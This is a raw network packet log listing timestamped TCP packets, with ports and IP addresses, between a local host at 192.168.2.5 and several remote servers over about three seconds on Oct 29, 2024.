Oct 29, 2024 02:46:21.799292088 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799375057 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799546957 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799602032 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.799614906 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799668074 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.803378105 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.804120064 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.804177999 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.804189920 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.815216064 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.815282106 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.815294981 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.865817070 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.865822077 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.887176991 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.887204885 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.887223959 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.887275934 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.887293100 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.887351990 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.887351990 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.912049055 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.912096024 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.912101984 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.915342093 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.915394068 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.915397882 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.921298981 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.921345949 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.921351910 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.921360016 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.921397924 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.928551912 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.931591988 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.931647062 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.931649923 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.931667089 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.931730986 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.979486942 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.010981083 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.011006117 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.011056900 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.011070013 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.011099100 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.011153936 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.022069931 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.027719021 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.031078100 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.031160116 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.031194925 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.031203032 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.031244040 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.031249046 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.035178900 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.035226107 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.035232067 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.044351101 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.044420004 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.044425011 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.047477961 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.047539949 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.047544956 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.100217104 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.134893894 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.134917974 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.135030985 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.135046005 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.135102987 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.135622978 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.143466949 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.143524885 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.143529892 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.147074938 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.147130013 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.147131920 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.147142887 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.147182941 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.151492119 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.160221100 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.160284042 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.160290956 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.160298109 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.160331011 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.163352013 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.163448095 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.163760900 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.163770914 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.180490017 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.180752039 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.180785894 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.182019949 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.182099104 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.184520006 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.184587002 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.185533047 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.185620070 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.185710907 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.185729980 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.185765028 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.209573030 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.227348089 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.240855932 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.251427889 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.251542091 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.251805067 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.251813889 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.258641005 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.258662939 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.258711100 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.258749008 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.258805037 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.258805037 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.259757042 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.259804010 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.259809971 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.262871027 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.262923002 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.262928009 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.266804934 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.266901970 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.266906977 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.276026011 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.276109934 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.276123047 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.276204109 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.276565075 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:22.276578903 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:22.313512087 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.313591003 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.315099955 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.315110922 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.315459967 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.318897009 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.363359928 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.382081032 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.382107019 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.382282972 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.382283926 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.382348061 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.382419109 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.467061043 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.505498886 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.505521059 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.505589008 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.505605936 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.505661011 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.506843090 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.506855965 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.507885933 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.507957935 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:22.508028030 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:22.787669897 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.787821054 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.787902117 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.789874077 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.789874077 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:22.789907932 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.789931059 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:22.790107965 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.790118933 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.790159941 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.790182114 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.790198088 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.790225029 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.790303946 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.791958094 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.791980028 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.792031050 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.792047024 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.792076111 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.792146921 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.798599958 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.798619986 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.798669100 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.798681974 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.798712015 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.798747063 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.917354107 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.917376995 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.917431116 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.917450905 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:22.917495966 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:22.917550087 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.000720024 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.000741959 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.000782013 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.000794888 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.000827074 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.000845909 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.124139071 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.124159098 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.124242067 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.124254942 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.124316931 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.165440083 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.165462971 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.165530920 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.165558100 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.165601969 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.207664013 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.207736015 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.207748890 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.207772017 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.207799911 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.207839012 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.207998037 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.208026886 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.208050966 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.208067894 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.260238886 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.260298967 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.260376930 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.261704922 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.261776924 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.261858940 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.262057066 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.262092113 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.262156963 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.263365984 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.263392925 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.263555050 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.263824940 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.263837099 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.263921022 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.263968945 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.264174938 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.264206886 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.264249086 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.264261961 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.265187979 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.265203953 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.265356064 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.265496016 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.265508890 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.490365028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:23.495230913 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:23.495836973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:23.500698090 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:23.500778913 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:23.501107931 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:23.501167059 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:23.506483078 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:23.506515026 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:23.804944992 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:23.804972887 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:23.805067062 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:23.805742025 CET	49745	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:23.805752993 CET	443	49745	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:23.993480921 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.993935108 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.994020939 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.994041920 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.994277954 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.994337082 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.995781898 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.995784998 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:23.995790005 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:23.995800972 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.000247002 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.000629902 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.000658035 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.001012087 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.001024961 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.034949064 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.035387993 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.035772085 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.035800934 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.036093950 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.036103010 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.036495924 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.036500931 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.036531925 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.036536932 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.123846054 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124459028 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124461889 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124557972 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124586105 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124603033 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124615908 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124622107 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124659061 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124718904 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124752045 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124769926 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.124782085 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.124789000 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.127635002 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.127656937 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.127747059 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.127788067 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.127806902 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.127934933 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.127949953 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.127981901 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.128087997 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.128139019 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130319118 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130417109 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130477905 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.130496025 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130554914 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.130563974 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130665064 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.130707026 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.130707026 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.130728960 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.130752087 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.133176088 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.133194923 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.133251905 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.133573055 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.133588076 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170252085 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170322895 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170449972 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170469999 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.170504093 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.170744896 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.170759916 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170773029 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.170779943 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170919895 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.170973063 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.171036959 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.171046972 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.171225071 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.171417952 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.171428919 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.171442986 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.171447992 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.171479940 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.171484947 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.173917055 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.173935890 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.174016953 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.174396992 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:24.174411058 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:24.174635887 CET	49750	443	192.168.2.5	13.107.246.45
